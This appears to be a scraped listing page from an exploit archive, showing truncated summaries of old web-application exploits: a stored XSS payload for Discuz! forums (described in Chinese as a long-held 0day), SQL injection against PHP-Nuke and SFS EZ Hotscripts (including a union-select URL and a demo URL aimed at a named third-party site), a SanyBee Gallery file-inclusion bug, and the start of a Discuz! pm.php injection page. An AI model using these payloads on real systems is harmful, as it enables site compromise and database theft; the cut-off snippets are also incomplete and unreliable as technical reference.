Discuz!多版本 存储型XSS脚本漏洞

简要描述： 2009年一次偶然间测试发现的此XSS漏洞，因为是存储型的，我想大家应该知道它的危害吧。相隔这么多年DZ不断的更新版本，但此漏洞依然存在,今天就发布出来吧！留着也没什么用会长毛的，呵呵。 在此我要感谢一下我的好朋友Jackal在09年的时候一起帮我测试漏洞的。 当时我们一起测试的是DZ6.0-DZ7.2，不知道是不是通杀啊。哈哈！没有一个一个去测试。有条件的去测试一下吧。 详细说明： 发贴进入源码模式，写入如下的exp emailurlimghttp://qhkest.com onmouseover=alert/DZ-xss-0day/; /img /url/email...

PHP-Nuke (friend.php) Module Remote SQL Injection Vulnerability

Exploit for php platform in category web applications =============================================================== PHP-Nuke friend.php Module Remote SQL Injection Vulnerability =============================================================== Exploit Title: PHP-Nuke 'friend.php' Module Remote SQ...

SFS EZ Hotscripts-like Site (cid) Remote SQL Injection Vulnerability

No description provided by source. Author : TR-ShaRk Web.: Starhack.us Oldkral.Com email : [email protected] Exploit: showcategory.php?cid=-101+union+select+1,@@version,3,4,5-- Demo: http://www.turnkeyzone.com/demos/software/showcategory.php?cid=-101+union+select+1,@@version,3,4,5-- Greetz:...

SFS EZ HotScripts-like Site - cid SQL Injection

SFS EZ HotScripts-like Site - cid SQL Injection Author : TR-ShaRk Web.: Starhack.us Oldkral.Com email : [email protected] Exploit: showcategory.php?cid=-101+union+select+1,@@version,3,4,5-- Demo: http://www.turnkeyzone.com/demos/software/showcategory.php?cid=-101+union+select+1,@@version,3,4,5--...

SanyBee Gallery 0.1.1 (p) Local File Inclusion Vulnerability

No description provided by source. SanyBee Gallery 0.1.1 p local File Inclusion Script Name: SanyBee Gallery 0.1.1 D.Script: http://www.easy-script.com/scripts-dl/SanyBeeGalleryV0.1.0.zip Discovered by: jackal contact: [email protected] &...

SanyBee Gallery 0.1.1 - 'p' Local File Inclusion

SanyBee Gallery 0.1.1 p local File Inclusion Script Name: SanyBee Gallery 0.1.1 D.Script: http://www.easy-script.com/scripts-dl/SanyBeeGalleryV0.1.0.zip Discovered by: jackal contact: [email protected] ==Exploit== ================================================================...

Discuz! pm.php注入EXP

No description provided by source. htmlbr / headbr / meta http-equiv="Content-Type" content="text/html; charset=gb2312"br / titleDz 0day by Jackal/titlebr / SCRIPT LANGUAGE="JavaScript"br / !--br / function ReplaceDemotempbr / var r, re;br / re = /S+s+S+/g;br /...